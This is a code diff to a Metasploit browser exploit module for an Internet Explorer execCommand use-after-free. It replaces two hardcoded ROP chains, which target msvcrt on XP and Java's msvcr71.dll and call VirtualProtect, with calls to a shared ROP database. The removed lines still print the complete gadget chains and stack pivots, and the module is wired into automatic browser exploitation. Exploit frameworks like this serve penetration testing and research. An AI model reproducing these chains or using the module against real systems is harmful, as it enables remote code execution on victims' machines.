RopDb for ie_execcommand_uaf.rb

modules/exploits/windows/browser/ie_execcommand_uaf.rb

@@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
 	Rank = GoodRanking
 
 	include Msf::Exploit::Remote::HttpServer::HTML
+	include Msf::Exploit::RopDb
 	include Msf::Exploit::Remote::BrowserAutopwn
 	autopwn_info({
 		:ua_name    => HttpClients::IE,
@@ -138,31 +139,9 @@ class Metasploit3 < Msf::Exploit::Remote
 				0x77c4e392, # POP EAX # RETN
 				0x77c15ed5, # XCHG EAX, ESP # RETN
 			].pack("V*")
-			rop =
-			[
-				0x77C21891,  # POP ESI # RETN
-				0x0c0c0c04,  # ESI
-				0x77c4e392,  # POP EAX # RETN
-				0x77c11120,  # <- *&VirtualProtect()
-				0x77c2e493,  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
-				junk,
-				0x77c2dd6c,  # XCHG EAX,ESI # ADD [EAX], AL # RETN
-				0x77c4ec00,  # POP EBP # RETN
-				0x77c35459,  # ptr to 'push esp #  ret'
-				0x77c47705,  # POP EBX # RETN
-				exec_size,   # EBX
-				0x77c3ea01,  # POP ECX # RETN
-				0x77c5d000,  # W pointer (lpOldProtect) (-> ecx)
-				0x77c46100,  # POP EDI # RETN
-				0x77c46101,  # ROP NOP (-> edi)
-				0x77c4d680,  # POP EDX # RETN
-				0x00000040,  # newProtect (0x40) (-> edx)
-				0x77c4e392,  # POP EAX # RETN
-				nop,         # NOPS (-> eax)
-				0x77c12df9,  # PUSHAD # RETN
-			].pack("V*")
+			rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
 
-		when :jre
+		else
 			print_status("Using JRE ROP")
 			exec_size = 0xffffffff - code.length + 1
 			if t['Random']
@@ -179,31 +158,10 @@ class Metasploit3 < Msf::Exploit::Remote
 					0x7c348b05  # XCHG EAX, ESP # RET
 				].pack("V*")
 			end
-			rop =
-			[
-				0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
-				exec_size,   # Value to negate, will become 0x00000201 (dwSize)
-				0x7c347f98,  # RETN (ROP NOP)
-				0x7c3415a2,  # JMP [EAX]
-				0xffffffff,
-				0x7c376402,  # skip 4 bytes
-				0x7c351e05,  # NEG EAX # RETN
-				0x7c345255,  # INC EBX # FPATAN # RETN
-				0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
-				0x7c344f87,  # POP EDX # RETN
-				0xffffffc0,  # Value to negate, will become 0x00000040
-				0x7c351eb1,  # NEG EDX # RETN
-				0x7c34d201,  # POP ECX # RETN
-				0x7c38b001,  # &Writable location
-				0x7c347f97,  # POP EAX # RETN
-				0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
-				0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN
-				0x7c345c30,  # ptr to 'push esp #  ret '
-			].pack("V*")
+			rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
 		end
 
-		code = stack_pivot + rop + code
-		return code
+		return rop_payload
 	end
 
 	# Spray published by corelanc0d3r